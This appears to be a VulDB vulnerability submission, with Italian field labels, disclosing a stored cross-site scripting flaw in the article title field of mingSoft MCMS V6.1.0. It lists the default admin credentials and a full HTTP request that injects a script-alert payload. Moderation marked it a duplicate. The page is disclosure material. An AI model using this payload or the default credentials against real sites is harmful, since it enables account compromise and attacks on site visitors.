| Titolo | code-projects mingSoft MCMS V6.1.0 Cross Site Scripting |
|---|
| Descrizione | Download the source code from https://gitee.com/mingSoft/MCMS and deploy it locally for testing. The default administrator username and password are msopen/msopen.
Add a new article in the article management module of the backend. The article title is not filtered in any way, so any XSS payload can easily trigger it. Then, accessing the homepage will trigger an XSS attack.
POST /ms/cms/content/save.do HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 311
sec-ch-ua-platform: "Windows"
Cache-Control: no-cache
Pragma: no-cache
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/ms/cms/content/index.do?
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: pageno_cookie=1; SHIRO_SESSION_ID=21278f9c-dd94-4a85-a5e9-556c95583048
Connection: keep-alive
contentTitle=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&contentShortTitle=&categoryId=1329316146811314177&contentType=&contentDisplay=0&contentAuthor=&contentSource=&contentSort=0&contentTags=&contentImg=&contentDescription=&contentKeyword=&contentDetails=&contentOutLink=&contentDatetime=2025-11-07%2020%3A34%3A44 |
|---|
| Fonte | ⚠️ https://gitee.com/mingSoft/MCMS/issues/ID7OBM |
|---|
| Utente | NasYh (UID 92820) |
|---|
| Sottomissione | 20/11/2025 13:35 (11 mesi fa) |
|---|
| Moderazione | 06/12/2025 14:54 (16 days later) |
|---|
| Stato | Duplicato |
|---|
| Voce VulDB | 216499 [Mingsoft MCMS 5.2.9 Article save cross site scripting] |
|---|
| Punti | 0 |
|---|